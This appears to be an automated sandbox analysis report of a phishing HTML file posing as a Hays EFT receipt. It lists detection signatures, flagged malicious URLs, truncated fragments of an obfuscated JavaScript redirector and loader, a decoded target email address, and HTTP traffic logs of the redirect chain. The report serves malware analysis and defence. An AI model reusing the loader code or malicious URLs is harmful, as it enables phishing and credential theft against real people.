Edit tour

Windows Analysis Report
Hays eft_Receipt number N302143235953.htm

Overview

General Information

Sample name:	Hays eft_Receipt number N302143235953.htm
Analysis ID:	1572851
MD5:	3dc601187308aae12627751b3295a2b4
SHA1:	cd05a12ac7458dc4acd7ad1ac556a360bbd19f74
SHA256:	051405fe67f61134ac5258227293be9dec2b164ccd39f6564ebca4e9e217e3a6
Infos:

Detection

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML document with suspicious title

HTML sample is only containing javascript code

HTML page contains hidden javascript code

IP address seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Hays eft_Receipt number N302143235953.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4480 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1984,i,14982997615707158117,13102304873999290162,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cosenzaconsulting.co/res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole	Avira URL Cloud: Label: malware
Source: https://dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru/egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX	Avira URL Cloud: Label: malware

Phishing

Detected javascript redirector / loader

Source: Hays eft_Receipt number N302143235953.htm

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm

HTTP Parser: New script tag found

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm

Tab title: Hays eft_Receipt number N302143235953.htm

HTML sample is only containing javascript code

Source: Hays eft_Receipt number N302143235953.htm

HTTP Parser: <script>var _0x3bd=["10 101","1100 ","00101 ","101","011 1","001111","11100","0 11","100","1001 0","101","01111 ","1101 ","1 1000","111","1110","01001","01 110","000","0111 ","10010 ","11 ","01100","000110","10100","10 10","0011","0001","0 11","111 1...

Source: file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm

HTTP Parser: Base64 decoded: wisely.wong@hays.com.hk

Source: https://cosenzaconsulting.co/res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole

HTTP Parser: var bvenrgdsmtooiifi = document.createelement("script");bvenrgdsmtooiifi.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(bvenrgdsmtooiifi);bvenrgdsmtooiifi.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoimdrxqki0svfhourjogr5rmfnstfddff5sffayujsymk3tdvcl3dfbjbvnwjjmvwvy0n2rtz2yjbaodawb3lrc3nswvjpz25jcgvqenvfrnirblwvnvnunkftbgh5d1hmnwswqktptldjbdjtehvnn3awxc9pww1cmlbddhfttdrcl1lonfzlqstcazhorta1yvrenuhqmk5hzjlgmjhsy1b3axbknjftofwvuwfwdhbau1wvwnnnuxd6ek9cl05nslvtq1nyvjlbmvz4vwfywnnnwjhqzjjmymj2mvljdkluneflrkfcbfrpzkpnowviotkyrke4a0zjcnm2nzc3vhlsy2hclzzcednlmufjqju4v1rzdwmzwxhgdmjms2lcl2hvtzbcswvreevqvextb0cwynletxhaeeltxc9lwwzcy1zpm1q3cmxuotrerexvsytluudwm1dus25gmflpbmnznxd4sfbeyxcwwjy1xc9kzxy1txdrtxrtsnbsy0dgtwtfavf4a0l2allanfrpv2jiy2npeli5rlzsu2vrtldwvgzcnddiedfusnlct0noatjjaujhyxjjogxxb0cxrtfrzezrzstorhn1dwlzyljjzgtlbxe0n1lqttzuq1bxnhjxywpdutzarflcl05sq3lavhgzb29zvvhxthpby09bzkvknzbmeuh2sufsmgvbtkmwskp6vnvzu0p4yitwvfbmow...

Source: file:///C:/Users/user/Desktop/Hays%20eft_Receipt%20number%20N302143235953.htm	HTTP Parser: No favicon
Source: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs=	HTTP Parser: No favicon
Source: https://cj.qhggzzwnpfh.ru/qABJFN/#K#d2lzZWx5LndvbmdAaGF5cy5jb20uaGs=	HTTP Parser: No favicon

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ajax/libs/pako/2.0.4/pako.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/pako/2.0.4/pako.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole HTTP/1.1Host: cosenzaconsulting.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole HTTP/1.1Host: cosenzaconsulting.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qABJFN/ HTTP/1.1Host: cj.qhggzzwnpfh.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f019593d907f5f4&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: cj.qhggzzwnpfh.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cj.qhggzzwnpfh.ru/qABJFN/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InQydTlBc3BIOThNWllVVGxhRldJN3c9PSIsInZhbHVlIjoiekxKd2IvcDlkc2ZxVytROVgrV01KZUQzdUVVMURWZ1pMTTRxeElCTUErczQ0ZC9oRHFpdkZIckhnMFFONytFTTJGTGkwd0dOL0JILzlKcyszbGkwRlFMZ2hzdVlScXBIM0IwQUUvVFp3bjhVTzZTM1RGektUZFNpYm5YM3lHWU8iLCJtYWMiOiIyZGYyNjFiZmJhOTZiNjM4NjU3ODlmZTAxNzkwZGE4MTljOTZkYWE0MmUwMTk4ZjM1Njk5OTVlNjllMzUyOTFlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRXbDVzMzAyaUJ4L215azRUcGNQR0E9PSIsInZhbHVlIjoiLy81NGtwNWtORE5qWmkzSUhYbGdhVVJTZHhvMFRIQ3pDeVJtL1l6S2Ivc2MyS3dFZVp3SlZqZzhqSHJaVzh5bXFVYkxTa3lzcFJLa3VvWGFUNVBnSGRLRmd4MUpwcVZYajFvTUlGQVV6d1AwWFpFUVU2anpGWE9SK3ZUcnFQa2wiLCJtYWMiOiJhZGU4OTczNzIwZGJjMWQyOTFmYjgyMWUwMDM0OTA2MzljNGQzZGRiNTlkMzdkNDc5OWQ0MDkwMTU1YzJhOWZkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f019593d907f5f4&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8f019593d907f5f4/1733879319055/005b92094db5f60ade0c49c66c17570cc25d746f91d9ae8f9072c7aa4a811f79/tZdTIkSbvN9fvuK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX HTTP/1.1Host: dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cj.qhggzzwnpfh.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cj.qhggzzwnpfh.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
